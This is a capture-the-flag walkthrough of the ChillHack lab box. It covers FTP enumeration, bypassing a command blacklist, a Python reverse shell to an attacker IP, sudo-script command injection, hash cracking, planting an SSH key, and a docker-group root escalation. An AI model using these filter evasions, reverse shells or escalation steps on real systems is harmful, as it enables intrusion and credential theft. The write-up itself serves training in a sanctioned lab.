TryHackMe: ChillHack
This is a beginner-intermediate level box available on TryHackMe and Vulnhub. It is an excellent challenge with multiple users, and lots of rabbit holes. It is a good mix between puzzle-y and skill-focused.
Scanning
- Get info about running services:
root@kali:~# sudo nmap -sV 10.10.186.203
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-08 10:15 EST
Nmap scan report for 10.10.186.203
Host is up (0.12s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
FTP
- The ftp server allows anonymous login:
root@kali:~# ftp 10.10.186.203
Connected to 10.10.186.203.
220 (vsFTPd 3.0.3)
Name (10.10.186.203:root): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
- Download the avialable file:
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 90 Oct 03 04:33 note.txt
226 Directory send OK.
ftp> get note.txt
local: note.txt remote: note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (90 bytes).
226 Transfer complete.
90 bytes received in 0.00 secs (67.4008 kB/s)
ftp>
Note.txt contents:
Anurodh told me that there is some filtering on strings being put in the command – Apaar
Web:
Enumeration:
-
Index Page:
-
looking at the page source, none of the pages really do anything
-
looking for files and folders on the server:
root@kali:~# dirb http://10.10.186.203
---- Scanning URL: http://10.10.186.203/ ----
==> DIRECTORY: http://10.10.186.203/css/
==> DIRECTORY: http://10.10.186.203/fonts/
==> DIRECTORY: http://10.10.186.203/images/
+ http://10.10.186.203/index.html (CODE:200|SIZE:35184)
==> DIRECTORY: http://10.10.186.203/js/
==> DIRECTORY: http://10.10.186.203/secret/
There is probably something useful in the directory secret
Secret:
This page lets you execute commands, there is some filtering though (as mentioned in notes.txt)
If you run a blacklisted command:
This command was used as an alternative to ls:
echo *
Result:
If we can read the blacklisted commands then we will know which to avoid. This worked an alternative to cat:
sort index.php
Blacklist Contents:
$blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');
Additionally the code only checks for a whole match so something like nc1 would pass the blacklist.
Environment Variable Substitution for Command Filtering Evasion:
When we insert an environment variable that doesn’t exist into a command it gets replaced by nothing creating a valid command that bypasses the blacklist. Since this method works:
root@kali:~# c`$p`at note.txt
Start the listener:
nc -lvp 1234
We can do the same with a python reverse shell, adding nonexistant environment variables to all the commands on the blacklist (python3), and replacing /bin/sh with /bin/dash:
py`$p`thon3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.12.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/dash","-i"]);'
User:
When the reverse shell connects, we now have user www-data:
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
10.10.186.203: inverse host lookup failed: Unknown host
connect to [10.8.12.29] from (UNKNOWN) [10.10.186.203] 55556
/bin/dash: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Looking around we see there is 3 other users:
$ cd /home
$ ls
anurodh
apaar
aurick
$ cd anurodh
/bin/dash: 4: cd: can't cd to anurodh
The user flag is in the home directory of the user apaar, and while we cannot read it we find an interesting file helpline.sh:
$ cd apaar
$ ls
local.txt
$ cat local.txt
cat: local.txt: Permission denied
$ ls -lia
total 44
655374 drwxr-xr-x 5 apaar apaar 4096 Oct 4 14:11 .
655361 drwxr-xr-x 5 root root 4096 Oct 3 04:28 ..
655391 -rw------- 1 apaar apaar 0 Oct 4 14:14 .bash_history
655375 -rw-r--r-- 1 apaar apaar 220 Oct 3 04:25 .bash_logout
655376 -rw-r--r-- 1 apaar apaar 3771 Oct 3 04:25 .bashrc
655389 drwx------ 2 apaar apaar 4096 Oct 3 05:20 .cache
655387 drwx------ 3 apaar apaar 4096 Oct 3 05:20 .gnupg
655380 -rwxrwxr-x 1 apaar apaar 286 Oct 4 14:11 .helpline.sh
655377 -rw-r--r-- 1 apaar apaar 807 Oct 3 04:25 .profile
655385 drwxr-xr-x 2 apaar apaar 4096 Oct 3 05:19 .ssh
655381 -rw------- 1 apaar apaar 817 Oct 3 04:27 .viminfo
655378 -rw-rw---- 1 apaar apaar 46 Oct 4 07:25 local.txt
The file helpline.sh contains a mock helpdesk script:
$ cat .helpline.sh
#!/bin/bash
echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person, Please enter your message: " msg
$msg 2>/dev/null
echo "Thank you for your precious time!"
$
We can see that the msg variable could be executed as a command, with errors redirected to /dev/null
Checking if the user can run anything with elevated privileges we see that www-data can run helpline.sh as apaar:
$ sudo -l
Matching Defaults entries for www-data on ubuntu:
...
User www-data may run the following commands on ubuntu:
(apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
Upgrade to a proper shell:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Run the helpline script as the user apaar, enter the message as /bin/sh -i
to get an interactive shell:
www-data@ubuntu:/home/apaar$ sudo -u apaar /home/apaar/.helpline.sh
sudo -u apaar /home/apaar/.helpline.sh
Welcome to helpdesk. Feel free to talk to anyone at any time!
Enter the person whom you want to talk with: john
john
Hello user! I am john, Please enter your message: /bin/sh -i
/bin/sh -i
id
id
uid=1001(apaar) gid=1001(apaar) groups=1001(apaar)
Now that we have a shell as the user apaar read the user flag:
cat local.txt
{USER-FLAG: e8v_i_dont_want_to_get_in_trouble}
Upgrade to an interactive shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
apaar@ubuntu:~$
Enumerate as the user apaar:
There may be a docker instance running:
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:1e:a7:08:b8 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
- I completely missed the directory /var/www/files, which sucked because I usually check /var/www first
- In the folder there is several interesting files: hacker.php, account.php, and index.php:
- The cryptic messsage about looking in the dark suggests stego:
apaar@ubuntu:~$ cat /var/www/files/hacker.php
cat /var/www/files/hacker.php
...
<center>
<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
...
apaar@ubuntu:~$
When we look in account.php we find there is table of usernames and passwords:
cat /var/www/files/account.php
[SNIP]
public function login($un,$pw)
{
$pw = hash("md5",$pw);
$query = $this->con->prepare("SELECT * FROM users WHERE username='$un' AND password='$pw'");
[SNIP]
?>
When we check index.php we find a root password, this is only the passwrd for the database and not for the user root:
apaar@ubuntu:/var/www/files$ cat index.php
cat index.php
[SNIP]
try{
$con = new PDO("mysql:dbname=webportal;host=localhost","root","!@m+her00+@db");
[SNIP]
We login to the database as root in hopes of finding more credentials:
apaar@ubuntu:/var/www/files$ mysql -u root -h localhost -D webportal -p
mysql -u root -h localhost -D webportal -p
Enter password: !@m+her00+@db
mysql> select * from users;
select * from users;
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username | password |
+----+-----------+----------+-----------+----------------------------------+
| 1 | Anurodh | Acharya | Aurick | 7e53614ced3640d5de23f111806cc4fd |
| 2 | Apaar | Dahal | cullapaar | 686216240e5af30df0501e53c789a649 |
+----+-----------+----------+-----------+----------------------------------+
2 rows in set (0.00 sec)
mysql>
Crack the password hashes:
7e53614ced3640d5de23f111806cc4fd = masterpassword
686216240e5af30df0501e53c789a649 = dontaskdonttell
- It is a dead-end, as these passwords do not allow us to login anywhere
- Use netstat to check ports we find that there is a service running locally on port 9001:
apaar@ubuntu:/var/www/files$ netstat -ntpl
netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:9001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:*
[SNIP]
When we check it out we can see it is the same as index.php
apaar@ubuntu:/var/www/files$ curl http://localhost:9001
curl http://localhost:9001
[SNIP]
<div class="header">
<h2 style="color:blue;">Customer Portal</h2>
<h3 style="color:green;">Log In<h3>
</div>
<form method="POST">
[SNIP]
- Since we want to get the images from hacker.php for potential stego, we need to be able to access the site remotely.
- If we add our public key to the file .ssh/authorized_keys we can log in to apaar via SSH and use SSH tunneling to acess the web service:
apaar@ubuntu:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYatZE9zGjo4hhKEU6+ZVFVPjBnoMH3fAqVp26YSDnRZ4fo/jTvfWstE5/[SNIPPED]" > authorized_keys
Using the -L parameter to tunnel our traffic, we can now access the web service at localhost:9999:
root@kali:~# ssh -L 9999:localhost:9001 apaar@10.10.186.203
Visit it in our browser:
- Download both of the images, and look for hidden text/files
- Using stegoveritas on the file hacker-laptop we can see that something has been hidden with steghide:
Found something with StegHide: /root/Downloads/results/steghide_f70de1ee463e0085a214352a0f14d476.bin
Running Module: MultiHandler
Use steghide to extract the embedded file backup.zip:
root@kali:~/Downloads# steghide extract -sf hacker-with-laptop_23-2147985341.jpg
Enter passphrase:
wrote extracted data to "backup.zip".
root@kali:~/Downloads#
The file backup.zip is password protected, use zip2john to extract the password hash:
root@kali:~/Downloads# zip2john backup.zip > chill_zip
ver 2.0 efh 5455 efh 7875 backup.zip/source_code.php PKZIP Encr: 2b chk, TS_chk, cmplen=554, decmplen=1211, crc=69DC82F3
Crack the password:
root@kali:~/Downloads# john --wordlist=/root/rockyou.txt -rules chill_zip
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pass1word (backup.zip/source_code.php)
1g 0:00:00:01 DONE (2021-01-08 12:39) 0.9708g/s 15906p/s 15906c/s 15906C/s total90..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed
In backups.zip we find the file source_code which contains the password for the user anurodh encoded in base64, decode it and use this password to login as the user: Using cyberchef to decode from base64:
apaar@ubuntu:~$ ls /home
anurodh apaar aurick
apaar@ubuntu:~$ su anurodh
Password:
anurodh@ubuntu:/home/apaar$
The user anurodh is in the docker group, meaning they have privileges to run docker, we can use docker to spawn an interactive root shell:
anurodh@ubuntu:~$ id -a
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
From GTFO bins entry for docker:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Getting root:
anurodh@ubuntu:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
Root Flag:
# cd /root
# ls
proof.txt
# cat proof.txt
{ROOT-FLAG: w18g_i_dont_want_to_get_in_trouble}
Congratulations! You have successfully completed the challenge.
FIN. 🥳